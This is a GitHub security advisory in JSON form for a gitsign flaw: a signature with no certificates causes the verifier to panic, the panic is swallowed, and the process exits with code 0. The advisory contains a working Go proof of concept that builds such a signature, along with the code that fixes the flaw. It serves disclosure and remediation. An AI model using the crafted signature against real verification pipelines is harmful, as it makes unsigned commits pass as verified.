CVE-2026-44310: Github.com/sigstore/gitsign Gitsign --verify Panics On Empty-certificate Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7c37-gx6w-8vc5",
  "modified" : "2026-05-15T23:49:44Z",
  "published" : "2026-05-08T17:37:45Z",
  "aliases" : [ "CVE-2026-44310" ],
  "summary" : "gitsign --verify panics on empty-certificate PKCS7 and exits 0, bypassing exit-code callers",
  "details" : "## Summary\n\n`CertVerifier.Verify()` in `pkg/git/verifier.go` unconditionally dereferences `certs[0]` after `sd.GetCertificates()` without checking the slice length. A CMS/PKCS7 signed message with an empty certificate set is a structurally valid DER payload; `GetCertificates()` returns an empty slice with no error, causing an immediate index-out-of-range panic. On the `gitsign --verify` code path (the GPG-compatible mode invoked by `git verify-commit`), the panic is silently recovered by `internal/io/streams.go`'s `Wrap()` function, which returns `nil` instead of an error. `main.go` then exits with code 0, causing exit-code-only verification callers to interpret the failed verification as success.\n\n## Severity\n\n**Medium** (CVSS 3.1: 5.8)\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L`\n\n- **Attack Vector:** Network — attacker pushes a commit carrying a crafted signature to any accessible repository, or delivers the signature file out-of-band\n- **Attack Complexity:** Low — stripping certificates from a PKCS7 object requires only standard ASN.1 tooling\n- **Privileges Required:** None — writing to an accessible repo (or creating a repo a victim clones) is sufficient\n- **User Interaction:** Required — victim must run `git verify-commit`, `gitsign --verify`, or an equivalent verification step\n- **Scope:** Unchanged\n- **Confidentiality Impact:** None\n- **Integrity Impact:** Low — exit-code-only callers (scripts, some CI pipelines) treat the panicked verification as success; git's own status-fd path checks for `GOODSIG` and is therefore partially protected\n- **Availability Impact:** Low — the verification process aborts via panic on every invocation with such a signature\n\n## Affected Component\n\n- `pkg/git/verifier.go` — `(*CertVerifier).Verify` (line 114)\n- `internal/io/streams.go` — `(*Streams).Wrap` (lines 71–84, the recovery that returns nil on panic)\n\n## CWE\n\n- **CWE-129**: Improper Validation of Array Index\n- **CWE-390**: Detection of Error Condition Without Action Taken (panic swallowed, nil returned)\n\n## Description\n\n### Unconditional index dereference after GetCertificates\n\n`CertVerifier.Verify()` parses the incoming signature as CMS/PKCS7 and calls `GetCertificates()` to extract the signer's certificate before any signature math takes place:\n\n```go\n// pkg/git/verifier.go:109–114\ncerts, err := sd.GetCertificates()\nif err != nil {\n    return nil, fmt.Errorf(\"error getting signature certs: %w\", err)\n}\ncert := certs[0]   // panic: index out of range if certs is empty\n```\n\n`GetCertificates()` delegates to `sd.psd.X509Certificates()` (the upstream `smimesign/ietf-cms` library). RFC 5652 §5.1 marks the `certificates` field in `SignedData` as `OPTIONAL`, and an empty or absent set is a structurally valid CMS message. The library returns `(nil, nil)` or `([]*, nil)` for such a message — an empty slice with no error — so the length check on `err` is irrelevant:\n\n```go\n// internal/fork/ietf-cms/signed_data.go:53–55\nfunc (sd *SignedData) GetCertificates() ([]*x509.Certificate, error) {\n    return sd.psd.X509Certificates()   // returns ([], nil) for empty cert set\n}\n```\n\nThere is no length guard anywhere between `GetCertificates()` and the `certs[0]` dereference.\n\n### Panic recovery silently returns exit 0\n\nAll root-command invocations (including `gitsign --verify`, which git calls for `verify-commit`) are wrapped by `(*Streams).Wrap`:\n\n```go\n// internal/commands/root/root.go:69–95\nRunE: func(cmd *cobra.Command, args []string) error {\n    s := io.New(o.Config.LogPath)\n    defer s.Close()\n    return s.Wrap(func() error {     // panic recovery is here\n        ...\n        case o.FlagVerify:\n            return commandVerify(o, s, args...)\n        ...\n    })\n},\n```\n\n`Wrap` uses a bare `recover()` inside a `defer`:\n\n```go\n// internal/io/streams.go:71–84\nfunc (s *Streams) Wrap(fn func() error) error {\n    defer func() {\n        if r := recover(); r != nil {\n            fmt.Fprintln(s.TTYOut, r, string(debug.Stack()))\n            // ← no named return, no assignment; Wrap returns nil\n        }\n    }()\n    if err := fn(); err != nil {\n        fmt.Fprintln(s.TTYOut, err)\n        return err\n    }\n    return nil\n}\n```\n\nIn Go, a `recover()` in a `defer` does not modify the enclosing function's return value unless named returns are used. When `fn()` panics, the `defer` fires, prints the panic message and stack trace to TTYOut, and then `Wrap` returns the zero value for `error` — which is `nil`.\n\n`main.go` then sees nil from `rootCmd.Execute()` and exits 0:\n\n```go\n// main.go:37–39\nif err := rootCmd.Execute(); err != nil {\n    os.Exit(1)   // NOT reached\n}\n// process falls through → exit 0\n```\n\n### GPG status-fd provides partial protection for git verify-commit\n\n`git verify-commit` passes `--status-fd=1` to gitsign. The GPG status protocol requires `GOODSIG` in the status output for git to treat the signature as valid. In `commandVerify`, `EmitGoodSig` is only called after `v.Verify()` succeeds:\n\n```go\n// internal/commands/root/verify.go:49–90\ngpgout.Emit(gpg.StatusNewSig)          // written before verification\n\nsummary, err := v.Verify(ctx, data, sig, true)  // PANIC here\n// lines below never reached:\ngpgout.EmitGoodSig(summary.Cert)\ngpgout.EmitTrustFully()\n```\n\nBecause the panic fires inside `v.Verify()`, only `NEWSIG` (not `GOODSIG`) is written to the status-fd. Modern git reads this output and still considers the commit unverified. However, scripts and CI tools that check only the exit code of `gitsign --verify` see exit 0 and consider verification successful.\n\n### Execution chain to impact\n\n1. Attacker strips all certificates from a valid gitsign PKCS7 signature using `sd.SetCertificates([]*x509.Certificate{})` and re-serializes the message.\n2. Attacker attaches this certificate-free signature as the `gpgsig` field of a commit and pushes it to an accessible repository (or delivers the `.pem` file directly).\n3. Victim runs `gitsign --verify <sig> <data>` or `git verify-commit <commit>` (which internally invokes `gitsign --verify`).\n4. `CertVerifier.Verify()` panics at `certs[0]` with `index out of range [0] with length 0`.\n5. `Wrap()` recovers the panic and returns nil; process exits 0.\n6. Any caller that checks only the exit code considers verification successful.\n\n## Proof of Concept\n\n```go\n// make_bad_sig.go — run from repo root: go run ./make_bad_sig.go\n// Then: go run main.go --verify /tmp/gitsign-badsig.pem /tmp/gitsign-data.bin; echo \"exit: $?\"\npackage main\n\nimport (\n\t\"crypto/x509\"\n\t\"encoding/pem\"\n\t\"fmt\"\n\t\"io\"\n\t\"os\"\n\n\t\"github.com/go-git/go-git/v5/plumbing\"\n\t\"github.com/go-git/go-git/v5/plumbing/object\"\n\t\"github.com/go-git/go-git/v5/storage/memory\"\n\tcms \"github.com/sigstore/gitsign/internal/fork/ietf-cms\"\n)\n\nfunc main() {\n\traw, err := os.ReadFile(\"internal/e2e/testdata/offline.commit\")\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tst := memory.NewStorage()\n\tobj := st.NewEncodedObject()\n\tobj.SetType(plumbing.CommitObject)\n\tw, _ := obj.Writer()\n\t_, _ = w.Write(raw)\n\t_ = w.Close()\n\n\tc, err := object.DecodeCommit(st, obj)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tblk, _ := pem.Decode([]byte(c.PGPSignature))\n\tif blk == nil {\n\t\tpanic(\"no pem block in commit signature\")\n\t}\n\n\tsd, err := cms.ParseSignedData(blk.Bytes)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// Strip all certificates from the SignedData\n\tif err := sd.SetCertificates([]*x509.Certificate{}); err != nil {\n\t\tpanic(err)\n\t}\n\n\tder, err := sd.ToDER()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tbadSig := pem.EncodeToMemory(&pem.Block{Type: \"SIGNED MESSAGE\", Bytes: der})\n\n\tmo := new(plumbing.MemoryObject)\n\t_ = c.EncodeWithoutSignature(mo)\n\tr, _ := mo.Reader()\n\tdata, _ := io.ReadAll(r)\n\n\t_ = os.WriteFile(\"/tmp/gitsign-badsig.pem\", badSig, 0644)\n\t_ = os.WriteFile(\"/tmp/gitsign-data.bin\", data, 0644)\n\tfmt.Println(\"Wrote /tmp/gitsign-badsig.pem and /tmp/gitsign-data.bin\")\n}\n```\n\n**Expected output after `go run main.go --verify /tmp/gitsign-badsig.pem /tmp/gitsign-data.bin; echo \"exit: $?\"`:**\n\n```\nruntime error: index out of range [0] with length 0\ngoroutine 1 [running]:\nruntime/debug.Stack(...)\n...\ngithub.com/sigstore/gitsign/pkg/git.(*CertVerifier).Verify(...)\n    pkg/git/verifier.go:114 +0x...\n...\nexit: 0        ← process exits 0 despite verification failure\n```\n\n## Impact\n\n- **Authentication bypass for exit-code callers**: Any script or CI pipeline running `gitsign --verify` and checking only `$?` will treat the panicked verification as a success (exit 0). This allows an attacker to make a commit appear verified without a valid signature.\n- **Denial of service**: Every verification attempt against a crafted signature panics, preventing legitimate verification output from being produced.\n- **Misleading output**: The panic stack trace is written to TTYOut (stderr in non-TTY environments), which may be silently discarded by callers that redirect stderr.\n- **Partial bypass of git verify-commit**: git itself is protected by the `GOODSIG` check on the status-fd; however, the exit-code bypass affects auxiliary tooling that wraps `gitsign --verify` directly.\n\n## Recommended Remediation\n\n### Option 1: Guard the slice access (preferred — lowest layer, protects all callers)\n\nAdd an explicit length check in `CertVerifier.Verify()` immediately after `GetCertificates()`:\n\n```go\n// pkg/git/verifier.go — replace lines 110–114\ncerts, err := sd.GetCertificates()\nif err != nil {\n    return nil, fmt.Errorf(\"error getting signature certs: %w\", err)\n}\nif len(certs) == 0 {\n    return nil, fmt.Errorf(\"no certificates found in signature\")\n}\ncert := certs[0]\n```\n\nThis produces a clean error at the source instead of a panic, propagated through `commandVerify` as a non-nil return, so `Wrap` returns it, `Execute()` returns it, and `main.go` exits 1.\n\n### Option 2: Return an error instead of nil on panic recovery\n\nFix `Wrap()` to return an error when it recovers a panic, so that all callers reliably see a non-zero exit code:\n\n```go\n// internal/io/streams.go — replace Wrap with named return\nfunc (s *Streams) Wrap(fn func() error) (retErr error) {\n    defer func() {\n        if r := recover(); r != nil {\n            fmt.Fprintln(s.TTYOut, r, string(debug.Stack()))\n            retErr = fmt.Errorf(\"panic: %v\", r)   // propagate as error\n        }\n    }()\n    if err := fn(); err != nil {\n        fmt.Fprintln(s.TTYOut, err)\n        return err\n    }\n    return nil\n}\n```\n\nThis is a defense-in-depth fix. It ensures that any future panic in a command results in exit 1 rather than 0. Option 1 should be applied regardless; Option 2 prevents similar bypass bugs from any other panic source.\n\n## Credit\n\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/sigstore/gitsign"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.4.0"
      }, {
        "fixed" : "0.15.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/sigstore/gitsign/security/advisories/GHSA-7c37-gx6w-8vc5"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44310"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/sigstore/gitsign"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-129", "CWE-390" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-08T17:37:45Z",
    "nvd_published_at" : "2026-05-15T17:16:47Z"
  }
}